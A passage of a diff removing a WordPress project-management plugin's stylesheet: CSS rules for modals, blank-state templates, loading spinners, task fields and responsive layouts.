#e5e5e5; - display: block; -} -.pm .pm-project-action ul.pm-settings li { - padding: 0; - margin: 0; - width: 100%; - text-align: left; -} -.pm .pm-project-action ul.pm-settings a { - color: #666; - font-size: 12px; - padding: 5px 10px; - margin: 0px; - border: none; - display: block; - height: auto; - min-height: auto; -} -.pm .pm-project-action ul.pm-settings a span.dashicons { - color: #999; -} -.pm .pm-project-action ul.pm-settings a:hover { - border: none; - color: #444; - background-color: #f9f9f9; -} -.pm .pm-project-action ul.pm-settings:after { - bottom: 100%; - left: 50%; - border: solid transparent; - content: " "; - height: 0; - width: 0; - position: absolute; - pointer-events: none; - border-bottom-color: #ccc; - border-width: 8px; - margin-left: 27px; -} -.pm .pm-blank-template { - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - vertical-align: central; - background: #ffffff; - padding: 25px; - padding-bottom: 35px; -} -.pm .pm-blank-template .pm-new-todolist-form { - margin: auto; - width: 65%; -} -.pm .pm-blank-template .pm-content { - margin: auto; - max-width: 600px; - min-height: 450px; - text-align: center; - background-repeat: no-repeat; - background-position: top center ; - background-size: 100%; -} -.pm .pm-blank-template .pm-content p { - font-size: 14px; - color: #000000; -} -.pm .pm-blank-template .pm-content img { - max-width: 340px; - margin-bottom: 20px; -} -.pm .pm-blank-template .pm-content form { - text-align: left; -} -.pm .pm-blank-template .pm-content .pm-page-title { - margin: 0px; - padding: 0px 10px 8px; - font-weight: bold; - color: #000; - font-size: 20px; -} -.pm .pm-blank-template .pm-content .pm-list-content { - background: #FEFCE3 ; - max-width: 450px; - margin: auto; - padding: 20px 20px 10px; - border-radius: 5px; - border: #FAEA96 solid 1px ; - margin-top: 35px; -} -.pm .pm-blank-template .pm-content .pm-list { - color: #545353; - list-style: none; -} -.pm .pm-blank-template .pm-content .pm-list li { - border-top: #FAEA96 solid 1px ; - padding: 7px 0 0 0; -} -.pm .pm-blank-template .pm-content .pm-btn { - margin-bottom: 5px; - margin-top: 15px; -} -.pm .discussion .pm-content { - background-image: url('../images/blank_discussion.svg'); -} -.pm .todolist .pm-content { - background-image: url('../images/blank_todolist.svg'); -} -.pm .file-list .pm-content { - background-image: url('../images/blank_documents.svg'); -} -.pm .milestone .pm-content { - background-image: url('../images/blank_milestone.svg'); -} - -.pm .pm-demo-template { - background-image: url('../images/blank_todolist.svg'); - background-repeat: no-repeat; -} -.pm .modal-mask { - position: fixed; - z-index: 10000; - top: 0; - left: 0; - width: 100%; - height: 100%; - background-color: rgba(0, 0, 0, 0.5); - display: table; - transition: opacity .3s ease; -} -.pm .modal-wrapper { - display: table-cell; - vertical-align: middle; -} -.pm .modal-container { - width: 450px; - margin: 0px auto; - background-color: #fff; - border-radius: 2px; - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.33); - transition: all .3s ease; - font-family: Helvetica, Arial, sans-serif; - position: relative; -} -.pm .modal-header span.close-vue-modal { - position: absolute; - top: 0px; - right: 0; -} -.pm .modal-header { - margin-bottom: 5px; - border-bottom: #e5e9eb solid 1px; -} -.pm .modal-header h3 { - margin: 0; - padding: 0; - color: #095c91; - padding: 15px 30px 10px; - font-size: 22px; -} -.pm .modal-header .close-vue-modal a { - display: block; - width: 20px; - background: ''; - border: none; - border-left: 1px solid #ddd; - color: #444; - text-align: center; - padding: 15px 10px 10px; - font-size: 110%; - cursor: pointer; - -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; -} -.pm .modal-header .close-vue-modal:hover { - background: #eee ; -} -.pm .modal-body .pm-task-complete { - text-decoration: line-through; - color: #848484; -} -.pm .modal-footer { - padding: 10px; - text-align: center; -} -.pm .modal-default-button { - float: right; -} -.pm .half-modal .modal-container { - width: 57%; - margin: 30px 0 0 auto; - overflow: visible; - display: compact; - border-radius: 2px; - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.33); - transition: all .3s ease; - font-family: Helvetica, Arial, sans-serif; -} -.pm .half-modal .close-vue-modal { - margin-left: -40px; - margin-top: 0px; - float: left; -} -.pm .half-modal .close-vue-modal a { - display: block; - width: 20px; - background: #000 ; - border: none; - color: #fff ; - text-align: center; - padding: 8px 10px 10px; - font-size: 110%; - cursor: pointer; - -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; -} -.pm .half-modal .edit-vue-modal a { - display: block; - width: 50px; - background: ''; - border: none; - border-left: 1px solid #ddd; - color: #444; - text-align: center; - padding: 8px 10px 10px; - font-size: 110%; - cursor: pointer; - -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - transition: color 0.1s ease-in-out, background 0.1s ease-in-out; - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; -} -.pm .half-modal .edit-vue-modal:hover { - background: #eee ; -} -.pm .half-modal .modal-header h3 { - padding-bottom: 2px; -} -.pm .modal-body .pm-modal-conetnt { - padding: 10px 10px 30px 10px; -} -.pm-modal-conetnt::-webkit-scrollbar { - width: 4px; - background-color: #F5F5F5; -} -.pm-modal-conetnt::-webkit-scrollbar-thumb { - border-radius: 4px; - -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); - background-color: #555; -} -.pm-modal-conetnt::-webkit-scrollbar-track { - -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); - border-radius: 10px; - background-color: #F5F5F5; -} -.pm .half-modal .pm-modal-conetnt { - overflow-x: auto; - overflow-y: scroll; - height: 99vh; - padding-bottom: 15px; -} -.pm .half-modal .pm-modal-conetnt .pm-todo-edit { - display: none; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title:hover .pm-todo-edit { - display: inline-block; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title { - margin-top: 0px; - margin-bottom: 15px; - display: inline-block; - padding-right: 20px; - width: 100%; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .dashicons-lock, -.pm .half-modal .pm-modal-conetnt .pm-task-title .dashicons-unlock { - color: #0073aa; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text, -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-meta { - float: left; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text:hover .pm-task-title-span { - background: #eee; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-span { - padding: 0 5px; - display: inline-block; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text { - max-width: 88%; - margin-right: 12px; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text .pm-task-title-field { - display: inline-block; - width: 100%; - padding: 7px 8px 7px 8px; - background: #eee; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-meta { - width: 8%; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-mark-done-checkbox { - width: 4%; -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-wrap { - width: 70%; - /*text-align: justify;*/ -} -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-wrap, -.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-mark-done-checkbox { - float: left; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta { - margin-top: 0px; - display: inline-block; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap { - cursor: pointer; - position: relative; - margin-right: 10px; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap .pm-date-edit-btn { - display: none; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap:hover .pm-date-edit-btn { - display: inline-block; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-update-wrap { - position: absolute; - z-index: 99999; - width: 600px; -} -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-picker-from, -.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-picker-to { - margin-right: -1px; - float: left; -} -.pm .half-modal .pm-modal-conetnt .pm-assigned-user img { - width: 24px; - height: 24px; -} -.pm .half-modal .pm-modal-conetnt .task-details, -.pm .half-modal .pm-modal-conetnt .pm-empty-task-details { - margin-bottom: 15px; - margin-top: 15px; - /*text-align: justify;*/ -} -.pm .half-modal .pm-modal-conetnt .task-details .pm-help-text, -.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-help-text { - font-size: 10px; - background: #f5f5f5; - width: 100%; - padding: 0 7px; -} -.pm .half-modal .pm-modal-conetnt .task-details .pm-desc-field, -.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-desc-field { - height: 100px; - width: 100%; -} -.pm .half-modal .pm-modal-conetnt .task-details .pm-desc-content, -.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-desc-content { - margin: 0; - padding: 6px; - min-height: 100px; -} -.pm .half-modal .pm-modal-conetnt .task-details .pm-task-des-edit-btn, -.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-task-des-edit-btn { - display: none; -} -.pm .half-modal .pm-modal-conetnt .task-details:hover .pm-task-des-edit-btn { - display: inline-block; - color: #0073aa; -} -.pm .modal-enter, -.pm .modal-leave { - opacity: 0; -} -.pm .modal-enter .modal-container, -.pm .modal-leave .modal-container { - -webkit-transform: scale(1.1); - transform: scale(1.1); -} -.pm .pm-blank-loading .timeline-item { - background: #fff; - padding: 12px; - margin: 0 auto; -} -@keyframes placeHolderShimmer { - 0% { - background-position: -468px 0; - } - 100% { - background-position: 468px 0; - } -} -.pm .pm-blank-loading .animated-background { - background: #fff ; -} -.pm .pm-blank-loading .animated-background .background-masker { - min-height: 25px; - padding: 8px; - background: linear-gradient(to right, #fff 8%, #eee 18%, #fff 33%); - margin-bottom: 5px; - animation-duration: 1s; - animation-fill-mode: forwards; - animation-iteration-count: infinite; - animation-name: placeHolderShimmer; - animation-timing-function: linear; -} -.pm .pm-blank-loading .animated-background .background-masker .comment_image { - background: url('../images/comment_gray.svg') no-repeat left; - padding-left: 15px; -} -.pm .loadanimation { - background: url('../images/more-loading.gif') no-repeat center center; - min-height: 70px; - width: 100%; - text-align: center; -} -.pm .loadmoreanimation { - display: none; -} -.pm .loadmoreanimation .load-spinner { - margin: 10px auto; - width: 50px; - height: 40px; - text-align: center; - font-size: 10px; -} -.pm .loadmoreanimation .load-spinner .rect2 { - -webkit-animation-delay: -1.1s; - animation-delay: -1.1s; -} -.pm .loadmoreanimation .load-spinner .rect3 { - -webkit-animation-delay: -1s; - animation-delay: -1s; -} -.pm .loadmoreanimation .load-spinner .rect4 { - -webkit-animation-delay: -0.9s; - animation-delay: -0.9s; -} -.pm .loadmoreanimation .load-spinner .rect5 { - -webkit-animation-delay: -0.8s; - animation-delay: -0.8s; -} -.pm .loadmoreanimation .load-spinner > div { - background-color: #ccc; - height: 100%; - width: 6px; - display: inline-block; - -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out; - animation: sk-stretchdelay 1.2s infinite ease-in-out; -} -.pm .loading-animation .load-spinner { - display: block; -} -.pm .loading-animation .load-spinner { - margin: 10px auto; - width: 50px; - height: 40px; - text-align: center; - font-size: 10px; -} -.pm .loading-animation .load-spinner .rect2 { - -webkit-animation-delay: -1.1s; - animation-delay: -1.1s; -} -.pm .loading-animation .load-spinner .rect3 { - -webkit-animation-delay: -1s; - animation-delay: -1s; -} -.pm .loading-animation .load-spinner .rect4 { - -webkit-animation-delay: -0.9s; - animation-delay: -0.9s; -} -.pm .loading-animation .load-spinner .rect5 { - -webkit-animation-delay: -0.8s; - animation-delay: -0.8s; -} -.pm .loading-animation .load-spinner > div { - background-color: #ccc; - height: 100%; - width: 6px; - display: inline-block; - -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out; - animation: sk-stretchdelay 1.2s infinite ease-in-out; -} -@-webkit-keyframes sk-stretchdelay { - 0%, - 40%, - 100% { - -webkit-transform: scaleY(0.4); - } - 20% { - -webkit-transform: scaleY(1); - } -} -@keyframes sk-stretchdelay { - 0%, - 40%, - 100% { - transform: scaleY(0.4); - -webkit-transform: scaleY(0.4); - } - 20% { - transform: scaleY(1); - -webkit-transform: scaleY(1); - } -} -.pm .animated { - display: inline-block; -} -.pm .animated.v-enter { - animation: fadein .5s; -} -.pm .animated.v-leave { - animation: fadeout .5s; -} -@keyframes fadein { - 0% { - transform: scale(0); - } - 50% { - transform: scale(1.5); - } - 100% { - transform: scale(1); - } -} -@keyframes fadeout { - 0% { - transform: scale(1); - } - 50% { - transform: scale(1.5); - } - 100% { - transform: scale(0); - } -} -@media only screen and (max-width: 640px) { - .pm .pm-top-bar ul.pm-project-group-ul { - width: 100%; - } - .pm .pm-top-bar ul.pm-project-group-ul li a { - padding-left: 50px; - background-position: 5% 50%; - } - .pm .project-overview .overview-menu ul li a { - display: block; - width: 100%; - } - .pm .project-overview .overview-menu ul li a .icon, - .pm .project-overview .overview-menu ul li a .count { - float: none; - text-align: center; - display: block; - } - .pm .project-overview .overview-menu ul li a .icon { - margin: 0 auto 15px auto; - } - .pm .project-overview .pm-chart { - width: 100%; - } - .pm .pm-todo-content .pm-col-7 { - width: 100%; - } - .pm .pm-todo-content .pm-todo-action-right, - .pm .pm-todo-content .pm-col-4 { - width: 48%; - visibility: visible; - } - .pm .pm-new-todolist-form { - width: 100%; - } - .pm article.pm-todolist .pm-list-edit-form form, - .pm article.pm-todolist .pm-task-edit-form { - width: 95%; - } - .pm article.pm-todolist .pm-todo-form { - padding: 0; - } - .pm article.pm-todolist .pm-todo-form .pm-task-form { - width: 92%; - margin: 10px 15px; - } - .pm .pm-list-footer .pm-col-6 { - width: 100%; - } - .pm .pm-list-footer .pm-col-4 { - width: 60%; - } - .pm .pm-list-footer .no-percent { - width: 20%; - margin: 0; - padding-top: 10px; - } - .pm #pm-report .postbox { - text-align: center; - } - .pm #pm-report ul { - text-align: center; - } - /*.pm #pm-report ul li { - padding: 40px; - background: #fff; - border: solid 1px #ccc; - width: auto ; - margin-left: 0; - text-align: center; - float: none ; - }*/ - .pm #pm-report ul li a { - padding: 15px; - } - .pm .half-modal .modal-container { - width: 90%; - } -} -@media only screen and (max-width: 1166px) { - .pm { - /*** For activity page ***/ - /** Discussion Page Start**/ - /** Discussion Page End **/ - } - .pm .pm-sm-col-1 { - width: 100%; - } - .pm .pm-sm-col-2 { - width: 100%; - } - .pm .pm-sm-col-3 { - width: 100%; - } - .pm .pm-sm-col-4 { - width: 30.19999%; - float: left; - } - .pm .pm-sm-col-5 { - width: 100%; - } - .pm .pm-sm-col-6 { - width: 100%; - } - .pm .pm-sm-col-7 { - width: 100%; - } - .pm .pm-sm-col-8 { - width: 100%; - } - .pm .pm-sm-col-9 { - width: 100%; - } - .pm .pm-sm-col-10 { - width: 100% ; - } - .pm .pm-sm-col-11 { - width: 100%; - } - .pm .pm-sm-col-12 { - width: 100% ; - float: none; - } - .pm .show_desktop_only { - display: none; - } - .pm .show_small_only { - display: block; - } - .pm .hide_desktop_only { - display: block; - } - .pm .hide_small_only { - display: none; - } - .pm .pm-project-group ul li { - width: 100% ; - float: none; - } - .pm .pm-project-group ul li a { - background-position: 2% 50%; - /*border-bottom: solid 2px #eee;*/ - } - .pm .pm-project-grid, - .pm .pm-project-list { - width: 100%; - } - .pm .pm-project-grid .pm-project, - .pm .pm-project-list .pm-project { - width: 100%; - margin-left: 0px; - padding: 0px; - box-shadow: none; - } - .pm .pm-project-list .pm-project { - height: auto; - } - .pm .pm-project-grid .pm-project .project_head, - .pm .pm-project-list .pm-project .project_head { - background: #ffffff ; - padding: 12px 20px; - border-bottom: #ccc solid 1px; - min-height: 55px; - color: #000 ; - } - .pm .pm-project-list .pm-project .project_head { - width: 100%; - } - .pm .pm-project-list .pm-project .pm-project-meta { - width: 100%; - } - .pm .pm-project-grid .pm-project .project_head:hover, - .pm .pm-project-list .pm-project .project_head:hover { - background: #019dd6; - text-decoration: none; - } - .pm .pm-project-grid .pm-project .project_head:hover h5, - .pm .pm-project-list .pm-project .project_head:hover h5, - .pm .pm-project-grid .pm-project .project_head:hover .pm-settings-icon-cog span, - .pm .pm-project-list .pm-project .project_head:hover .pm-settings-icon-cog span, - .pm .pm-project-grid .pm-project .project_head:hover .pm-project-detail, - .pm .pm-project-list .pm-project .project_head:hover .pm-project-detail { - color: #ffffff; - } - .pm .pm-project-grid .pm-project .pm-project-detail, - .pm .pm-project-list .pm-project .pm-project-detail { - font-size: 13px; - } - .pm .pm-project-grid .pm-project .pm-project-meta, - .pm .pm-project-list .pm-project .pm-project-meta { - padding: 10px; - } - .pm .pm-project-grid .pm-project .pm-project-meta ul, - .pm .pm-project-list .pm-project .pm-project-meta ul { - padding: 0px; - margin: 0px; - margin-left: 5px; - margin-bottom: 50px; - } - .pm .pm-project-grid .pm-project .pm-project-meta ul li, - .pm .pm-project-list .pm-project .pm-project-meta ul li { - float: left; - width: 41% ; - list-style: none; - //padding-left: 25px; - font-size: 13px; - color: #888888; - line-height: 35px; - padding-bottom: 15px; - } - .pm .pm-project-grid .pm-project .pm-progress, - .pm .pm-project-list .pm-project .pm-progress { - position: absolute; - bottom: 75px; - height: 6px; - width: 100%; - margin: 0px 0px 0px 0px; - background-color: red; - background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); - background-repeat: repeat-x; - box-shadow: 0px ; - border-radius: 0px; - top:unset; - } - .pm .pm-project-list .pm-project .pm-project-people { - width: 100%; - top:0; - } - .pm .pm-project-grid .pm-project .pm-progress .completed, - .pm .pm-project-list .pm-project .pm-progress .completed { - ackground-color: #019dd6; - background-image: linear-gradient(to bottom, #019dd6, #019dd6); - } - .pm .pm-project-grid .pm-project .pm-project-people, - .pm .pm-project-list .pm-project .pm-project-people { - text-align: center; - } - .pm .project-overview .pm-right-part { - width: 100%; - } - .pm .pm-activity-list li.pm-row { - display: block ; - } - .pm .pm-activity-list li.pm-row .pm-activity-date { - margin-bottom: 10px; - margin-top: 25px; - } - .pm .pm-message-page { - display: inline ; - } - .pm .pm-message-page .pm-message-list { - width: 100% ; - } - .pm .pm-message-page .pm-message-body { - width: 100%; - height: auto; - overflow: hidden; - } -} -@media only screen and (max-width: 1400px) { - .pm .project-overview .overview-menu ul li { - flex-basis: 33.33% !important; - max-width: 33.33% !important; - } - .pm .project-overview .overview-menu ul li a { - width: 100%; - } -} - -@media only screen and (max-width: 767px) { - .pm .project-overview .overview-menu ul li { - flex-basis: 50% !important; - max-width: 50% !important; - } - .pm-header-title-content .project-title { - flex-basis: 100%; - margin-bottom: 20px; - } - - .pm-header-title-content .project-title { - display: block; - position: relative !important; - line-height: inherit !important; - } - - .pm-header-title-content .project-title .title { - max-width: calc(100% - 70px); - display: block; - } - .pm-header-title-content .pm-title-edit-settings { - right: 35px; - } - .pm-header-title-content .settings { - right: 0; - } - .pm-header-title-content .pm-title-edit-settings, - .pm-header-title-content .settings { - position: absolute !important; - top: 0; - z-index: 999; - } - .pm-header-title-content .project-title + div { - width: 100%; - } - .pm-header-title-content .project-title + div input { - width: 100% !important; - } - - - - -} - -@media print { - .pm .pm-no-print { - display: none; - } - .pm td, - .pm th { - padding: 1px ; - } -} -.pm-task-modal .pm-multiselect-single-task .multiselect__input { - width: 100%; -} -.pm-task-modal .pm-multiselect-single-task .multiselect__select { - display: none; -} -.pm-task-modal .pm-multiselect-single-task .multiselect__tags { - padding: 8px 12px 0 8px; -} -.pm-task-modal .pm-multiselect-single-task .multiselect__tags .multiselect__tag { - display: none; - margin: 0; - padding: 0; -} -.pm-task-modal .pm-assigned-user, -.pm-task-modal time { - background: none; -} -.pm-task-modal .avatar { - border-radius: 30px; - vertical-align: middle; - margin-right: 8px; -} -.pm-task-modal .pm-lock { - width: auto; - height: 22px; - padding-left: 12px; -} -.pm-task-modal #new_comment_form { - margin-bottom: 50px; -} -.pm-task-modal #new_comment_form trix-toolbar .button_group button, -.pm-task-modal #new_comment_form trix-toolbar .button_group input[type=button] { - background: rgba(255, 255, 255, 0); -} - -.pm-comment-content ul { - display: block; - list-style-type: disc; - margin-left: 2em; -} -.pm-project-action ul.pm-settings li .pm-spinner { - display: none; -} -.pm-project-form .pm-form-item { - margin-bottom: 15px; -} -.pm-project-form .pm-form-item .chosen-container-single a.chosen-single { - height: 30px; - box-shadow: none; -} -.toast-top-right { - top: 32px !important; - right: 0px !important; -} -.item .multiselect__input { - border: none !important; - box-shadow: none !important; - margin: 0; -} -.multiselect__element { - padding: 0px !important; - margin: 0px !important; -} -#pm-single-todo-list-view { - display: flex; - flex-direction: column; - flex-wrap: wrap; - align-items: stretch; - justify-content: space-around; - border-bottom: 1px solid #e5e5e5; -} -#pm-single-todo-list-view .pm-todo { - padding-bottom: 0px; - padding-right: 15px; - margin-top: 5px; - margin-bottom: 5px; -} -#pm-single-todo-list-view .pm-todo .pm-todo-wrap { - padding: 0px; - margin: 0px; -} -#pm-single-todo-list-view .pm-incomplete-tasks { - width: 100%; - padding: 0px 15px; - padding-bottom: 10px; - margin-bottom: 10px; - border-bottom: 1px solid #e5e5e5; -} -#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list .pm-todo, -#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list li { - border-bottom: none; -} -#pm-single-todo-list-view .pm-completed-tasks { - width: 100%; - padding: 0px 15px; - margin-bottom: 10px; -} -#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list { - min-height: 55px; -} -#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list .pm-todo, -#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list li { - border-bottom: none; -} -#pm-single-todo-list-view .pm-tag-gray { - display: inline-block; - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; - height: 22px; - position: relative; - content: ""; - cursor: pointer; - margin: 0 13px 0 0; - padding: 5px 15px 5px 5px; - border: none; - font-size: 14px; - color: #ffffff; - text-align: center; - text-transform: uppercase; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - background: #f1f1f1; -} -#pm-single-todo-list-view .pm-tag-gray::before { - display: inline-block; - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; - z-index: 1; - width: 22px; - height: 22px; - position: absolute; - content: ""; - cursor: pointer; - top: 5px; - right: -12px; - border: none; - color: rgba(255, 255, 255, 0.9); - -o-text-overflow: clip; - text-overflow: clip; - background: #f1f1f1; - text-shadow: none; - -webkit-transform: rotateY(1deg) rotateZ(-45deg); - transform: rotateY(1deg) rotateZ(-45deg); -} -#pm-single-todo-list-view .pm-task-edit-form { - border-top: 1px solid #e5e5e5; - padding-bottom: 0px; - margin-bottom: 0px; -} -#pm-single-todo-list-view .pm-task-edit-form .pm-task-form { - background: #fff; - border: none; - padding-bottom: 0px; - margin-bottom: 0px; -} -#pm-single-todo-list-view .pm-task-edit-form .pm-task-form .item.submit { - padding-bottom: 5px; - margin-bottom: 5px; -} -#pm-single-todo-list-view .pm-single-task-subtask-form { - width: 300px; -} -.pm-incomplete-task-spinner, -.pm-completed-task-spinner { - margin-left: 2% !important; -} -.pm trix-editor ul { - list-style: disc; - padding-left: 20px; -} -.pm-single-new-task-field-wrap { - position: relative; -} -.pm-single-new-task-field-wrap .pm-settings { - position: absolute; - top: 6px; - right: 6px; -} -.pm-single-new-task-field-wrap .pm-settings-control { - position: absolute; - background: #deb; - padding: 6px; - border-radius: 3px; - top: 0px; - z-index: 9999; - width: 100%; -} -.pm-single-new-task-field-wrap .pm-settings-control .pm-triangle { - position: absolute; - width: 0; - height: 0; - top: 8px; -} -.pm-single-new-task-field-wrap-right .pm-settings-control { - left: 104%; -} -.pm-single-new-task-field-wrap-right .pm-settings-control .pm-triangle { - border-top: 10px solid transparent; - border-bottom: 10px solid transparent; - border-right: 10px solid #deb; - left: -9px; -} -.pm-single-new-task-field-wrap-left .pm-settings-control { - right: 34px; -} -.pm-single-new-task-field-wrap-left .pm-settings-control .pm-triangle { - border-top: 10px solid transparent; - border-bottom: 10px solid transparent; - border-left: 10px solid #deb; - right: -9px; -} -.pm-single-task-field-multiselect-wrap .pm-multiselect, -.pm-todo-lists-drop-down-wrap .pm-multiselect { - position: relative; -} -.pm-single-task-field-multiselect-wrap .pm-multiselect .pm-multiselect-cross, -.pm-todo-lists-drop-down-wrap .pm-multiselect .pm-multiselect-cross { - position: absolute; - z-index: 9999; - right: 5px; - top: 7px; -} -.pm-single-task-field-multiselect-wrap .pm-multiselect .multiselect__tags, -.pm-todo-lists-drop-down-wrap .pm-multiselect .multiselect__tags { - border: none; - padding: 0; -} -.pm-single-task-field-multiselect-wrap .pm-multiselect .multiselect__select, -.pm-todo-lists-drop-down-wrap .pm-multiselect .multiselect__select { - display: none; -} -.pm-popover { - position: absolute; - top: 0; - left: 0; - z-index: 1060; - display: block; - max-width: 276px; - padding: 1px; - font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; - font-style: normal; - font-weight: 400; - letter-spacing: normal; - line-break: auto; - line-height: 1.5; - text-align: left; - text-align: start; - text-decoration: none; - text-shadow: none; - text-transform: none; - white-space: normal; - word-break: normal; - word-spacing: normal; - font-size: .875rem; - word-wrap: break-word; - background-color: #fff; - -webkit-background-clip: padding-box; - background-clip: padding-box; - margin-left: 10px; -} -.pm-popover .pm-arrow { - top: 74px; - left: -20px; - content: " "; - border-width: 10px; - position: absolute; - display: block; - height: 0; - border-color: transparent; - border-style: solid; - border-right-color: #999; -} -.pm-popover .pm-arrow::after { - top: -10px; - left: -9px; - content: " "; - border-left-width: 0; - border-width: 10px; - position: absolute; - display: block; - width: 0; - height: 0; - border-color: transparent; - border-style: solid; - border-right-color: #fff; -} -.pm-popover-title { - padding: 8px 14px; - margin-bottom: 0; - font-size: 1rem; - background-color: #f7f7f7; - border-bottom: 1px solid #ebebeb; - border-top-right-radius: calc(-0.7rem); - border-top-left-radius: calc(-0.7rem); -} -.pm-popover-content { - padding: 9px 14px; -} -.pm-single-task-field-start-wrap, -.pm-single-task-field-end-wrap, -.pm-single-task-field-description-wrap { - position: relative; - width: 100%; -} -.pm-single-task-field-start-wrap .pm-single-task-field-description-link, -.pm-single-task-field-end-wrap .pm-single-task-field-description-link, -.pm-single-task-field-description-wrap .pm-single-task-field-description-link { - position: absolute; - right: 5px; - top: 4px; -} -.pm-single-task-field-start-wrap .pm-single-task-field-start-field, -.pm-single-task-field-end-wrap .pm-single-task-field-start-field, -.pm-single-task-field-description-wrap .pm-single-task-field-start-field, -.pm-single-task-field-start-wrap .pm-single-task-field-end-field, -.pm-single-task-field-end-wrap .pm-single-task-field-end-field, -.pm-single-task-field-description-wrap .pm-single-task-field-end-field, -.pm-single-task-field-start-wrap .pm-single-task-field-description-field, -.pm-single-task-field-end-wrap .pm-single-task-field-description-field, -.pm-single-task-field-description-wrap .pm-single-task-field-description-field { - width: 100%; - border-radius: 3px; - margin-bottom: 5px; -} -.pm-single-task-field-start-wrap .pm-inline-date-picker-from, -.pm-single-task-field-end-wrap .pm-inline-date-picker-from, -.pm-single-task-field-start-wrap .pm-inline-date-picker-to, -.pm-single-task-field-end-wrap .pm-inline-date-picker-to { - position: relative; -} -.pm-single-task-field-start-wrap .pm-inline-date-picker-from .ui-datepicker, -.pm-single-task-field-end-wrap .pm-inline-date-picker-from .ui-datepicker, -.pm-single-task-field-start-wrap .pm-inline-date-picker-to .ui-datepicker, -.pm-single-task-field-end-wrap .pm-inline-date-picker-to .ui-datepicker { - width: 16em; - /*what ever width you want*/ -} -.pm-single-task-field-start-wrap .pm-inline-date-picker-from i, -.pm-single-task-field-end-wrap .pm-inline-date-picker-from i, -.pm-single-task-field-start-wrap .pm-inline-date-picker-to i, -.pm-single-task-field-end-wrap .pm-inline-date-picker-to i { - font-size: 20px; - background: #444; - color: #fff; - border-radius: 8px; - height: 20px; - width: 20px; - text-align: center; - font-weight: 100 !important; -} -.pm-single-task-field-start-wrap .pm-inline-date-picker-from .pm-single-task-field-start-link, -.pm-single-task-field-end-wrap .pm-inline-date-picker-from .pm-single-task-field-start-link, -.pm-single-task-field-start-wrap .pm-inline-date-picker-to .pm-single-task-field-start-link, -.pm-single-task-field-end-wrap .pm-inline-date-picker-to .pm-single-task-field-start-link, -.pm-single-task-field-start-wrap .pm-inline-date-picker-from .pm-single-task-field-end-link, -.pm-single-task-field-end-wrap .pm-inline-date-picker-from .pm-single-task-field-end-link, -.pm-single-task-field-start-wrap .pm-inline-date-picker-to .pm-single-task-field-end-link, -.pm-single-task-field-end-wrap .pm-inline-date-picker-to .pm-single-task-field-end-link { - position: absolute; - right: -5px; - top: -12px; - z-index: 99999; -} -.pm-multiselect .multiselect__content .multiselect__option--highlight:hover { - background: none; - color: #575d64; -} -.pm-multiselect .multiselect__content .multiselect__option--highlight { - background: none; - color: #575d64; -} -.pm-multiselect .multiselect__content .multiselect__option--selected:hover { - background: #f3f3f3; - color: #35495e; -} -.pm-multiselect .multiselect__content .multiselect__option--selected { - background: #f3f3f3; - color: #35495e; -} -.pm-multiselect .multiselect__content .multiselect__option--selected:after { - content: "\2713 "; -} -.pm-multiselect .multiselect__content .multiselect__option--highlight:after { - background: none; - color: #35495e; -} -.pm-multiselect .multiselect__content img.option__image { - display: inline-block; - margin-right: 5px; - vertical-align: top; -} -.pm-multiselect .multiselect__content .option__desc { - display: inline-block; - width: 73%; - white-space: normal; - margin: 0 0 0 2px; - padding: 0; -} -.pm .discussion{ - padding-left: 0px; - overflow: hidden; - position: relative; -} - -.slide-enter-active { - transition: all .3s ease; - 